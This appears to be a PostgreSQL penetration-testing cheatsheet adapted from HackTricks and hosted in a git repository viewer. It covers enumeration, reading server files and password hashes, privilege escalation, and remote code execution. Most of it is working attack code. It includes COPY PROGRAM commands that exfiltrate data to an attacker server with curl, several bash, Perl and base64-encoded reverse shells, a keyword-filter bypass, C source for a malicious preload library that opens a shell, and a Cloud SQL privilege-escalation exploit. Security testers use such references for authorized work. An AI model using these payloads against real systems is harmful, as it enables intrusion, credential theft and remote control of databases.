daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

pentesting-postgresql.md (52172B)


      1 ---
      2 title: "5432 - Pentesting PostgreSQL"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-postgresql.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-postgresql.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 5432 - Pentesting PostgreSQL
     14 
     15 ## **Basic Information**
     16 
     17 **PostgreSQL** is an open-source object-relational database system. It supports SQL plus extensible data types, functions, procedural languages, operators, and indexes.
     18 
     19 **Default port:** 5432. PostgreSQL does **not** automatically move to 5433 when the configured port is occupied; the server normally fails to bind until the conflict or its `port` setting is changed. Multiple local clusters are often configured manually on consecutive ports such as 5432 and 5433.<sup>[[18]](#references)</sup>
     20 
     21 ```text
     22 PORT     STATE SERVICE
     23 5432/tcp open  pgsql
     24 ```
     25 
     26 ## Connect & Basic Enum
     27 
     28 ```bash
     29 psql -U <myuser> # Open psql console with user
     30 psql -h <host> -U <username> -d <database> # Remote connection
     31 psql -h <host> -p <port> -U <username> -W -d <database> # Force a password prompt
     32 ```
     33 
     34 ```text
     35 psql -h localhost -d <database_name> -U <User> #Password will be prompted
     36 \list # List databases
     37 \c <database> # use the database
     38 \d # List tables
     39 \du+ # Get users roles
     40 
     41 # Get current user
     42 SELECT user;
     43 
     44 # Get current database
     45 SELECT current_catalog;
     46 
     47 # List schemas
     48 SELECT schema_name,schema_owner FROM information_schema.schemata;
     49 \dn+
     50 
     51 #List databases
     52 SELECT datname FROM pg_database;
     53 
     54 #Read credentials (usernames + pwd hash)
     55 SELECT usename, passwd from pg_shadow;
     56 
     57 # Get languages
     58 SELECT lanname,lanacl FROM pg_language;
     59 
     60 # Show installed extensions
     61 SHOW rds.extensions; -- AWS RDS only
     62 SELECT * FROM pg_extension;
     63 
     64 # Get history of commands executed
     65 \s
     66 ```
     67 
     68 > [!WARNING]
     69 > Finding an **`rdsadmin`** database with `\list` is a strong indicator of an **Amazon RDS for PostgreSQL** instance.
     70 
     71 For SQL-injection-specific techniques, see [PostgreSQL injection](/hacktricks/pentesting-web/sql-injection/postgresql-injection/overview).
     72 
     73 ## Automatic Enumeration
     74 
     75 ```text
     76 msf> use auxiliary/scanner/postgres/postgres_version
     77 msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
     78 ```
     79 
     80 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#postgresql)
     81 
     82 ### **Port scanning**
     83 
     84 According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.<sup>[[1]](#references)</sup>
     85 
     86 ```sql
     87 SELECT * FROM dblink_connect('host=1.2.3.4
     88                               port=5678
     89                               user=name
     90                               password=secret
     91                               dbname=abc
     92                               connect_timeout=10');
     93 ```
     94 
     95 - Host is down
     96 
     97 `DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`
     98 
     99 - Port is closed
    100 
    101 ```text
    102 DETAIL:  could not connect to server: Connection refused Is  the  server
    103 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
    104 ```
    105 
    106 - Port is open
    107 
    108 ```text
    109 DETAIL:  server closed the connection unexpectedly This  probably  means
    110 the server terminated abnormally before or while processing the request
    111 ```
    112 
    113 or
    114 
    115 ```text
    116 DETAIL:  FATAL:  password authentication failed for user "name"
    117 ```
    118 
    119 - Port is open or filtered
    120 
    121 ```text
    122 DETAIL:  could not connect to server: Connection timed out Is the server
    123 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
    124 ```
    125 
    126 In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
    127 
    128 ## Enumeration of Privileges
    129 
    130 ### Roles
    131 
    132 | Role Types     |                                                                                                                                                      |
    133 | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
    134 | rolsuper       | Role has superuser privileges                                                                                                                        |
    135 | rolinherit     | Role automatically inherits privileges of roles it is a member of                                                                                    |
    136 | rolcreaterole  | Role can create more roles                                                                                                                           |
    137 | rolcreatedb    | Role can create databases                                                                                                                            |
    138 | rolcanlogin    | Role can log in. That is, this role can be given as the initial session authorization identifier                                                     |
    139 | rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.                           |
    140 | rolconnlimit   | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.                                 |
    141 | rolpassword    | Not the password (always reads as `********`)                                                                                                        |
    142 | rolvaliduntil  | Password expiry time (only used for password authentication); null if no expiration                                                                  |
    143 | rolbypassrls   | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
    144 | rolconfig      | Role-specific defaults for run-time configuration variables                                                                                          |
    145 | oid            | ID of role                                                                                                                                           |
    146 
    147 #### Interesting Groups
    148 
    149 - If you are a member of **`pg_execute_server_program`** you can **execute** programs
    150 - If you are a member of **`pg_read_server_files`** you can **read** files
    151 - If you are a member of **`pg_write_server_files`** you can **write** files
    152 
    153 > [!TIP]
    154 > Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**.
    155 
    156 ```sql
    157 # Get users roles
    158 \du
    159 
    160 #Get users roles & groups
    161 # r.rolpassword
    162 # r.rolconfig,
    163 SELECT
    164       r.rolname,
    165       r.rolsuper,
    166       r.rolinherit,
    167       r.rolcreaterole,
    168       r.rolcreatedb,
    169       r.rolcanlogin,
    170       r.rolbypassrls,
    171       r.rolconnlimit,
    172       r.rolvaliduntil,
    173       r.oid,
    174   ARRAY(SELECT b.rolname
    175         FROM pg_catalog.pg_auth_members m
    176         JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
    177         WHERE m.member = r.oid) as memberof
    178 , r.rolreplication
    179 FROM pg_catalog.pg_roles r
    180 ORDER BY 1;
    181 
    182 # Check whether the current user is a superuser
    183 ## If response is "on" then true, if "off" then false
    184 SELECT current_setting('is_superuser');
    185 
    186 # Try to grant access to groups
    187 ## This requires administrative authority over the role; exact CREATEROLE behavior is version-dependent (see below)
    188 GRANT pg_execute_server_program TO "username";
    189 GRANT pg_read_server_files TO "username";
    190 GRANT pg_write_server_files TO "username";
    191 ## You will probably get this error:
    192 ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
    193 
    194 # Create new role (user) as member of a role (group)
    195 CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
    196 ## Common error
    197 ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
    198 ```
    199 
    200 ### Tables
    201 
    202 ```sql
    203 # Get owners of tables
    204 select schemaname,tablename,tableowner from pg_tables;
    205 ## Get tables where user is owner
    206 select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
    207 
    208 # Get your permissions over tables
    209 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
    210 
    211 #Check users privileges over a table (pg_shadow on this example)
    212 ## If nothing, you don't have any permission
    213 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
    214 ```
    215 
    216 ### Functions
    217 
    218 ```sql
    219 # Interesting functions are inside pg_catalog
    220 \df * #Get all
    221 \df *pg_ls* #Get by substring
    222 \df+ pg_read_binary_file #Check who has access
    223 
    224 # Get all functions of a schema
    225 \df pg_catalog.*
    226 
    227 # Get all functions of a schema (pg_catalog in this case)
    228 SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
    229 FROM information_schema.routines
    230     LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
    231 WHERE routines.specific_schema='pg_catalog'
    232 ORDER BY routines.routine_name, parameters.ordinal_position;
    233 
    234 # Another option
    235 SELECT * FROM pg_proc;
    236 ```
    237 
    238 ## File-system actions
    239 
    240 ### Read directories and files
    241 
    242 From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
    243 
    244 ```sql
    245 # Read file
    246 CREATE TABLE demo(t text);
    247 COPY demo from '/etc/passwd';
    248 SELECT * FROM demo;
    249 ```
    250 
    251 > [!WARNING]
    252 > On PostgreSQL 15 and earlier, a role with **`CREATEROLE`** could grant itself membership in these non-superuser predefined roles. PostgreSQL 16 restricted this behavior: membership changes require the applicable **`ADMIN OPTION`** (or superuser authority). Test the target version and effective grant options before relying on this path.<sup>[[19]](#references)</sup>
    253 >
    254 > ```sql
    255 > GRANT pg_read_server_files TO username;
    256 > ```
    257 >
    258 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
    259 
    260 There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
    261 
    262 ```sql
    263 # Before executing these functions, connect to the postgres DB (not template1)
    264 \c postgres
    265 ## If you don't do this, you might get "permission denied" error even if you have permission
    266 
    267 select * from pg_ls_dir('/tmp');
    268 select * from pg_read_file('/etc/passwd', 0, 1000000);
    269 select * from pg_read_binary_file('/etc/passwd');
    270 
    271 # Check who has permissions
    272 \df+ pg_ls_dir
    273 \df+ pg_read_file
    274 \df+ pg_read_binary_file
    275 
    276 # Try to grant permissions
    277 GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
    278 # By default you can only access files in the data directory
    279 SHOW data_directory;
    280 # But if you are a member of the group pg_read_server_files
    281 # You can access any file, anywhere
    282 GRANT pg_read_server_files TO username;
    283 # Check CREATEROLE privilege escalation
    284 ```
    285 
    286 You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
    287 
    288 ### Simple File Writing
    289 
    290 Only **super users** and members of **`pg_write_server_files`** can use copy to write files.
    291 
    292 ```sql
    293 copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
    294 ```
    295 
    296 > [!WARNING]
    297 > On PostgreSQL 15 and earlier, `CREATEROLE` could make this grant possible for non-superuser predefined roles. PostgreSQL 16 and later require the relevant `ADMIN OPTION` or superuser authority.<sup>[[19]](#references)</sup>
    298 >
    299 > ```sql
    300 > GRANT pg_write_server_files TO username;
    301 > ```
    302 >
    303 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
    304 
    305 Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
    306 A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
    307 
    308 ### **Binary files upload**
    309 
    310 For binary-safe alternatives, see [uploading large binary files through PostgreSQL](/hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql).
    311 
    312 
    313 ### Updating PostgreSQL table data via local file write
    314 
    315 If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).<sup>[[2]](#references)</sup>
    316 
    317 Required steps:
    318 
    319 1.  Obtain the PostgreSQL data directory
    320 
    321     ```sql
    322     SELECT setting FROM pg_settings WHERE name = 'data_directory';
    323     ```
    324 
    325     **Note:** If you cannot retrieve the current data-directory setting, query the major version with `SELECT version()` and test platform-specific package layouts. A common Debian/Ubuntu path is `/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/`, often with cluster name `main`.
    326 
    327 2.  Obtain a relative path to the filenode, associated with the target table
    328 
    329     ```sql
    330     SELECT pg_relation_filepath('{TABLE_NAME}')
    331     ```
    332 
    333     This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.
    334 
    335 3.  Download the filenode through the `lo_*` functions
    336 
    337     ```sql
    338     SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
    339     ```
    340 
    341 4.  Get the datatype, associated with the target table
    342 
    343     ```sql
    344     SELECT
    345     STRING_AGG(
    346         CONCAT_WS(
    347             ',',
    348             attname,
    349             typname,
    350             attlen,
    351             attalign
    352         ),
    353         ';'
    354     )
    355     FROM pg_attribute
    356     JOIN pg_type
    357         ON pg_attribute.atttypid = pg_type.oid
    358     JOIN pg_class
    359         ON pg_attribute.attrelid = pg_class.oid
    360     WHERE pg_class.relname = '{TABLE_NAME}';
    361     ```
    362 
    363 5.  Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions.
    364 
    365     ```bash
    366     python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
    367     ```
    368 
    369     ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
    370 
    371 6.  Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
    372 
    373     ```sql
    374     SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
    375     SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
    376     ```
    377 
    378 7.  _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
    379 
    380     ```sql
    381     SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
    382     ```
    383 
    384 8.  You should now see updated table values in the PostgreSQL.
    385 
    386 You can also become a superuser by editing the `pg_authid` table. See [the corresponding privilege-escalation section](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-by-overwriting-internal-postgresql-tables).
    387 
    388 ## RCE
    389 
    390 ### **RCE to program**
    391 
    392 `COPY ... PROGRAM` has existed since PostgreSQL 9.3. It executes an operating-system command as the database service account and is restricted to superusers or roles granted `pg_execute_server_program`. An SQL-injection exfiltration example is:<sup>[[15]](#references)</sup>
    393 
    394 ```sql
    395 '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
    396 ```
    397 
    398 Example to exec:
    399 
    400 ```bash
    401 #PoC
    402 DROP TABLE IF EXISTS cmd_exec;
    403 CREATE TABLE cmd_exec(cmd_output text);
    404 COPY cmd_exec FROM PROGRAM 'id';
    405 SELECT * FROM cmd_exec;
    406 DROP TABLE IF EXISTS cmd_exec;
    407 
    408 #Reverse shell
    409 # To escape a single quote in the SQL literal, double it
    410 COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
    411 ```
    412 
    413 > [!WARNING]
    414 > This self-grant path applies directly to PostgreSQL 15 and earlier. On PostgreSQL 16 and later, the session also needs `ADMIN OPTION` on `pg_execute_server_program` (or superuser authority).<sup>[[19]](#references)</sup>
    415 >
    416 > ```sql
    417 > GRANT pg_execute_server_program TO username;
    418 > ```
    419 >
    420 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
    421 
    422 Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
    423 More information about the technique is available in the linked research. Although it was submitted as CVE-2019-9193, the PostgreSQL project clarified that authorized `COPY ... PROGRAM` execution is an intended feature rather than a vulnerability.<sup>[[3]](#references)[[15]](#references)</sup>
    424 
    425 #### Bypass keyword filters/WAF to reach COPY PROGRAM
    426 
    427 In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword `COPY`. You can dynamically construct the statement and execute it inside a PL/pgSQL DO block. For example, build the leading C with `CHR(67)` to bypass naive filters and EXECUTE the assembled command:
    428 
    429 ```sql
    430 DO $$
    431 DECLARE cmd text;
    432 BEGIN
    433   cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
    434   EXECUTE cmd;
    435 END $$;
    436 ```
    437 
    438 This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.<sup>[[4]](#references)[[5]](#references)</sup>
    439 
    440 ### RCE with PostgreSQL languages
    441 
    442 See [RCE with PostgreSQL procedural languages](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages).
    443 
    444 ### RCE with PostgreSQL extensions
    445 
    446 After obtaining a binary-safe upload primitive, you can test code execution by loading a compatible PostgreSQL extension. See [RCE with PostgreSQL extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions).
    447 
    448 ### PostgreSQL configuration file RCE
    449 
    450 > [!TIP]
    451 > The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
    452 
    453 These techniques require a PostgreSQL configuration file that the database service account can overwrite. That is common in some source/container layouts, but packaged systems may keep the main file root-owned; database superuser status alone does not bypass operating-system permissions.
    454 
    455 ![RCE with PostgreSQL extensions - PostgreSQL configuration file RCE: The configuration file of PostgreSQL is writable by the postgres user , which is the one running the database, so as...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28322%29.png)
    456 
    457 #### **RCE with ssl_passphrase_command**
    458 
    459 More information [about this technique here](https://pulsesecurity.co.nz/articles/postgres-sqli).<sup>[[6]](#references)</sup>
    460 
    461 The configuration file has several settings that can lead to command execution when their prerequisites are met:
    462 
    463 - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
    464 - `ssl_passphrase_command = ''` specifies a command used to obtain the passphrase for an encrypted private key.
    465 - `ssl_passphrase_command_supports_reload = off` controls whether that command may run during a configuration reload when a passphrase is needed.
    466 
    467 Then, an attacker will need to:
    468 
    469 1. **Dump private key** from the server
    470 2. **Encrypt** downloaded private key:
    471    1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
    472 3. **Overwrite**
    473 4. **Dump** the current postgresql **configuration**
    474 5. **Overwrite** the **configuration** with the mentioned attributes configuration:
    475    1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
    476    2. `ssl_passphrase_command_supports_reload = on`
    477 6. Execute `pg_reload_conf()`
    478 
    479 While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_.
    480 
    481 #### **RCE with archive_command**
    482 
    483 **More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**<sup>[[7]](#references)</sup>
    484 
    485 Another attribute in the configuration file that is exploitable is `archive_command`.
    486 
    487 For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations.
    488 
    489 The general steps are:
    490 
    491 1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')`
    492 2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
    493 3. Reload the config: `SELECT pg_reload_conf()`
    494 4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
    495 
    496 ##### Editing postgresql.conf via Large Objects (SQLi-friendly)
    497 
    498 When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where `COPY` cannot handle newlines or binary-safe writes.
    499 
    500 Example (adjust the major version and path if needed, e.g. version 15 on Debian):
    501 
    502 ```sql
    503 -- 1) Import the current configuration and note the returned OID (example OID: 114575)
    504 SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
    505 
    506 -- 2) Read it back as text to verify
    507 SELECT encode(lo_get(114575), 'escape');
    508 
    509 -- 3) Prepare a minimal config snippet locally that forces execution via WAL
    510 --    and base64-encode its contents, for example:
    511 --    archive_mode = 'always'\n
    512 --    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
    513 --    archive_timeout = 1\n
    514 --    Then write the new contents into a new Large Object and export it over the original file
    515 SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
    516 SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
    517 
    518 -- 4) Reload the configuration and optionally trigger a WAL switch
    519 SELECT pg_reload_conf();
    520 -- Optional explicit trigger if needed
    521 SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions
    522 ```
    523 
    524 This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.<sup>[[4]](#references)</sup>
    525 
    526 #### **RCE with preload libraries**
    527 
    528 More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).<sup>[[8]](#references)</sup>
    529 
    530 This attack vector takes advantage of the following configuration variables:
    531 
    532 - `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection.
    533 - `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries.
    534 
    535 We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.
    536 
    537 The attack steps are:
    538 
    539 1. Download the original `postgresql.conf`
    540 2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'`
    541 3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'`
    542 4. Check major PostgreSQL version via the `SELECT version()` query
    543 5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:
    544 
    545    ```c
    546    #include <stdio.h>
    547    #include <sys/socket.h>
    548    #include <sys/types.h>
    549    #include <stdlib.h>
    550    #include <unistd.h>
    551    #include <netinet/in.h>
    552    #include <arpa/inet.h>
    553    #include "postgres.h"
    554    #include "fmgr.h"
    555 
    556    #ifdef PG_MODULE_MAGIC
    557    PG_MODULE_MAGIC;
    558    #endif
    559 
    560    void _init() {
    561       /*
    562           code taken from https://www.revshells.com/
    563       */
    564 
    565       int port = REVSHELL_PORT;
    566       struct sockaddr_in revsockaddr;
    567 
    568       int sockt = socket(AF_INET, SOCK_STREAM, 0);
    569       revsockaddr.sin_family = AF_INET;
    570       revsockaddr.sin_port = htons(port);
    571       revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
    572 
    573       connect(sockt, (struct sockaddr *) &revsockaddr,
    574       sizeof(revsockaddr));
    575       dup2(sockt, 0);
    576       dup2(sockt, 1);
    577       dup2(sockt, 2);
    578 
    579       char * const argv[] = {"/bin/bash", NULL};
    580       execve("/bin/bash", argv, NULL);
    581    }
    582    ```
    583 
    584    Compiling the code:
    585 
    586    ```bash
    587     gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
    588    ```
    589 
    590 6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one
    591 7. Upload the `payload.so` from step 5 to the `/tmp` directory
    592 8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query
    593 9. At the next DB connection, you will receive the reverse shell connection.
    594 
    595 ## PostgreSQL privilege escalation
    596 
    597 ### Privilege escalation with CREATEROLE
    598 
    599 #### **Grant**
    600 
    601 On PostgreSQL 15 and earlier, roles with **`CREATEROLE`** could grant or revoke membership in any non-superuser role. PostgreSQL 16 tightened role administration: changing membership now requires `ADMIN OPTION` on the target role, and altering sensitive attributes requires corresponding authority.<sup>[[16]](#references)[[19]](#references)</sup>
    602 
    603 Therefore, on a vulnerable older server—or on a newer server where the account also has the needed grant option—you may be able to grant yourself predefined roles that read/write server files or execute programs:
    604 
    605 ```sql
    606 # Access to execute commands
    607 GRANT pg_execute_server_program TO username;
    608 # Access to read files
    609 GRANT pg_read_server_files TO username;
    610 # Access to write files
    611 GRANT pg_write_server_files TO username;
    612 ```
    613 
    614 #### Modify Password
    615 
    616 On PostgreSQL 15 and earlier, `CREATEROLE` can also change passwords of other non-superusers. On PostgreSQL 16 and later, this requires administrative authority over the target role.<sup>[[19]](#references)</sup>
    617 
    618 ```sql
    619 #Change password
    620 ALTER USER user_name WITH PASSWORD 'new_password';
    621 ```
    622 
    623 #### Escalation to SUPERUSER
    624 
    625 If `pg_hba.conf` trusts a local connection for a database superuser, command execution as the PostgreSQL OS account can invoke `psql` through that trusted path and grant your database role **`SUPERUSER`**:
    626 
    627 ```sql
    628 COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
    629 ```
    630 
    631 > [!TIP]
    632 > This is usually possible because of the following lines in the **`pg_hba.conf`** file:
    633 >
    634 > ```bash
    635 > # "local" is for Unix domain socket connections only
    636 > local   all             all                                     trust
    637 > # IPv4 local connections:
    638 > host    all             all             127.0.0.1/32            trust
    639 > # IPv6 local connections:
    640 > host    all             all             ::1/128                 trust
    641 > ```
    642 
    643 ### ALTER TABLE privilege escalation
    644 
    645 [This write-up](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) explains how an excessive `ALTER TABLE` privilege granted to a non-superuser PostgreSQL role in Google Cloud SQL could be abused to escalate privileges.<sup>[[9]](#references)</sup>
    646 
    647 When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
    648 
    649 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28537%29.png" alt=""><figcaption></figcaption></figure>
    650 
    651 Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table** **owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
    652 
    653 ```c
    654 GetUserIdAndSecContext(&save_userid, &save_sec_context);
    655 SetUserIdAndSecContext(onerel->rd_rel->relowner,
    656                        save_sec_context | SECURITY_RESTRICTED_OPERATION);
    657 ```
    658 
    659 #### Exploitation
    660 
    661 1. Start by creating a new table.
    662 2. Insert some irrelevant content into the table to provide data for the index function.
    663 3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
    664 4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
    665 5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
    666 
    667 In PostgreSQL, this flow looks something like this:
    668 
    669 ```sql
    670 CREATE TABLE temp_table (data text);
    671 CREATE TABLE shell_commands_results (data text);
    672 
    673 INSERT INTO temp_table VALUES ('dummy content');
    674 
    675 /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
    676 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
    677   LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
    678 
    679 CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
    680 
    681 ALTER TABLE temp_table OWNER TO cloudsqladmin;
    682 
    683 /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
    684 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
    685   LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
    686 
    687 ANALYZE public.temp_table;
    688 ```
    689 
    690 Then, the `shell_commands_results` table will contain the output of the executed code:
    691 
    692 ```text
    693 uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
    694 ```
    695 
    696 ### Local Login
    697 
